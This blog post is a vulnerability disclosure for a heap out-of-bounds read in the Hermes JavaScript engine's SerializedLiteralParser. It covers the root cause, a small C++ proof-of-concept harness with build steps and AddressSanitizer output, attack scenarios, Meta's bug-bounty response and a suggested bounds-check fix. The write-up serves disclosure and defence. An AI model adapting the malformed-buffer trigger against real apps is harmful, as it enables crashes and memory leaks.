Heap Out-of-Bounds Read in Hermes JavaScript Engine: A Technical Deep Dive
- Hacking By Doing
- Oct 17
- 5 min read
Updated: Oct 18

Executive Summary
This article presents a detailed analysis of a heap out-of-bounds read vulnerability discovered in Meta's Hermes JavaScript engine, specifically within the SerializedLiteralParser component. While the vulnerability was reported to Meta through their bug bounty program and acknowledged as a valid issue, it was deemed below the threshold for a monetary reward due to the component only processing "trusted input" in production scenarios.
This writeup serves as a comprehensive technical walkthrough of the vulnerability, its exploitation mechanics, and the disclosure process, demonstrating the importance of defensive programming even in contexts assumed to process trusted data.
What is Hermes?
Hermes is an open-source JavaScript engine optimized for running React Native applications on mobile devices. Developed by Meta (formerly Facebook), Hermes focuses on:
Reduced app size through bytecode precompilation
Improved startup time
Decreased memory consumption
A key architectural component of Hermes is its bytecode format, which includes serialized literals (strings, numbers, arrays, objects) that must be deserialized at runtime. This is where the vulnerability lies.
The Vulnerable Component: SerializedLiteralParser
The SerializedLiteralParser class is responsible for reading serialized literals from a bytecode buffer and converting them back into HermesValue objects. The serialization format uses a tag-based system where each literal is prefixed with a tag byte indicating its type:
ByteStringTag (0x10): 1-byte string ID
ShortStringTag (0x20): 2-byte string ID
LongStringTag (0x30): 4-byte string ID
NumberTag (0x31): 8-byte double
IntegerTag (0x40): 4-byte int32
NullTag, TrueTag, FalseTag: No payload
The Parser Logic
Here's the relevant code from SerializedLiteralParser.cpp:
HermesValue SerializedLiteralParser::get(Runtime &) {
assert(hasNext() && "Object buffer doesn't have any more values");
if (leftInSeq_ == 0)
parseTagAndSeqLength();
leftInSeq_--;
elemsLeft_--;
switch (lastTag_) {
case SLG::NumberTag: {
double val = llvh::support::endian::read<double, 1>(
buffer_.data() + currIdx_, llvh::support::endianness::little);
currIdx_ += 8;
return HermesValue::encodeUntrustedNumberValue(val);
}
case SLG::IntegerTag: {
int32_t val = llvh::support::endian::read<int32_t, 1>(
buffer_.data() + currIdx_, llvh::support::endianness::little);
currIdx_ += 4;
return HermesValue::encodeUntrustedNumberValue(val);
}
// ... other cases ...
}
}
Root Cause Analysis
The vulnerability exists because the parser performs typed reads (1, 2, 4, or 8 bytes) from the buffer without validating that sufficient bytes remain.
The Critical Flaw
Consider this execution flow:
A malformed buffer contains: [0x31] (just the NumberTag, value 0x30 | 0x01)
The parser reads the tag and determines it's a NumberTag
It attempts to read 8 bytes starting at currIdx_
No bounds check occurs before the read
llvh::support::endian::read<double>() reads 8 bytes from a 1-byte buffer
Result: heap buffer overflow read of 7 bytes beyond the allocation
Visualizing the Bug
Buffer allocation: [0x31]
^
currIdx_ = 0
Attempted read: [????????] (8 bytes)
^ ^
| |
| +-- 7 bytes past allocation end
+--------- Only this byte is valid
The read operation accesses memory that was never allocated for the buffer, potentially reading sensitive heap data from adjacent allocations.
Proof of Concept
Environment Setup
The vulnerability can be reproduced on any Linux system with:
Clang ≥15 with AddressSanitizer support
CMake ≥3.16
Standard build tools
Minimal Reproducer
I created a minimal test harness (test_parser.cpp):
#include "hermes/VM/SerializedLiteralParser.h"
#include "hermes/VM/Runtime.h"
#include "llvh/ADT/ArrayRef.h"
#include <vector>
using namespace hermes::vm;
int main() {
// 1. Create minimal Hermes runtime
auto runtime = Runtime::create(RuntimeConfig::Builder().build());
// 2. Craft malformed buffer: NumberTag with no payload
std::vector<uint8_t> buf = {0x31}; // 0x30 | 0x01 = NumberTag
// 3. Create parser
SerializedLiteralParser parser({buf.data(), buf.size()}, 1, nullptr);
// 4. Trigger the vulnerability
parser.get(*runtime); // Boom!
}
Build Configuration
Added to tools/CMakeLists.txt:
add_executable(test_parser test_parser.cpp)
target_link_libraries(test_parser hermesVMRuntime)
target_compile_options(test_parser PRIVATE -fsanitize=address -fno-omit-frame-pointer)
target_link_options(test_parser PRIVATE -fsanitize=address)
Building and Running
git clone https://github.com/facebook/hermes.git
cd hermes
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DHERMES_ENABLE_ADDRESS_SANITIZER=ON
cmake --build . --target test_parser
ASAN_OPTIONS=halt_on_error=1 ./tools/test_parser
AddressSanitizer Output
==193678==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000a31
READ of size 8 at 0x502000000a31 thread T0
#0 in double llvh::support::endian::read<double, 1ul>(...)
/hermes/external/llvh/include/llvh/Support/Endian.h:69
#1 in hermes::vm::SerializedLiteralParser::get(hermes::vm::Runtime&)
/hermes/lib/VM/SerializedLiteralParser.cpp:61
#2 in main
/hermes/build/tools/test_parser.cpp:25
0x502000000a31 is located 0 bytes after 1-byte region [0x502000000a30,0x502000000a31)
The sanitizer clearly shows an 8-byte read from a 1-byte allocation, confirming the vulnerability.
Exploitation Analysis
Impact Assessment
Severity: CVSS 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
Attack Scenarios
Scenario 1: Denial of Service (DoS)
Method: Malformed bytecode crashes the Hermes engine
Impact: Application becomes unresponsive or terminates
Target: React Native apps loading untrusted bytecode
Scenario 2: Information Disclosure
(depends on heap layout)
Method: Out-of-bounds read returns heap data encoded as JavaScript number.
Impact: Potential leak of sensitive information from adjacent heap objects
Use case: Could bypass ASLR or leak sensitive app data
Scenario 3: Escalation to RCE
(requires vulnerability chaining)
Method: Combine info leak with separate memory corruption bug
Impact: Remote code execution within the JavaScript engine
Attack Surface Considerations
Meta's response highlighted an important point: SerializedLiteralParser is designed to process trusted input only. In the standard React Native workflow:
Developers compile JavaScript to Hermes bytecode
The bytecode is bundled with the app
At runtime, only this pre-verified bytecode is executed
However, attack surface exists if:
An app dynamically loads bytecode from external sources
Another vulnerability allows bytecode tampering
Development/debugging scenarios bypass normal protections
Future architectural changes alter the trust model
The Disclosure Process
Timeline
Date | Event |
June 14, 2025 | Initial report submitted to Meta Bug Bounty |
June 14, 2025 | Report acknowledged (ID: 10229917828229717) |
June 15, 2025 | Security team requested reproduction script |
June 15, 2025 | Provided automated repro_hermes_oob.sh |
June 15, 2025 | Asked if exploitable to RCE or higher impact |
June 15, 2025 | Confirmed limited to OOB read (DoS + info leak) |
June 15, 2025 | Report forwarded to engineering team |
July 3, 2025 | Report closed - valid issue, no monetary reward |
Meta's Response
The final response stated:

Meta's position is technically defensible from a threat modeling perspective:
The component is internal to the bytecode parser
In production, bytecode is generated by their own compiler
The trust boundary is at bytecode generation, not parsing
However, this overlooks several defense-in-depth principles:
Assumptions about trust boundaries can become invalid over time
Code gets reused in unexpected contexts
Defense-in-depth prevents vulnerability chaining
Memory safety bugs are easier to fix than audit all callers
Suggested Fix
A simple bounds check would prevent this vulnerability:
case SLG::NumberTag: {
if (currIdx_ + sizeof(double) > buffer_.size()) {
hermes_fatal("Serialized literal buffer overflow");
}
double val = llvh::support::endian::read<double, 1>(
buffer_.data() + currIdx_, llvh::support::endianness::little);
currIdx_ += 8;
return HermesValue::encodeUntrustedNumberValue(val);
}
This check should be applied consistently to all payload reads.
Conclusion
This research demonstrates a legitimate heap out-of-bounds read vulnerability in the Hermes JavaScript engine. While Meta's assessment that the bug requires untrusted bytecode to reach production is fair, the vulnerability represents a gap in defense-in-depth protections.
The bug serves as a case study in the tension between:
Formal security impact (requires specific attack scenarios)
Defense-in-depth principles (all inputs should be validated)
Real-world threat models (trusted vs. untrusted contexts)
References
Responsible Disclosure
This vulnerability was reported to Meta through their official bug bounty program on June 14, 2025.
Meta closed the report on July 3, 2025, acknowledging it as a valid issue but determining it fell below their reward threshold.
Public disclosure occurred in October 2025, approximately 120 days after the initial report, following industry-standard responsible disclosure practices.
For questions or comments about this research, feel free to reach out through the contact information on my blog.




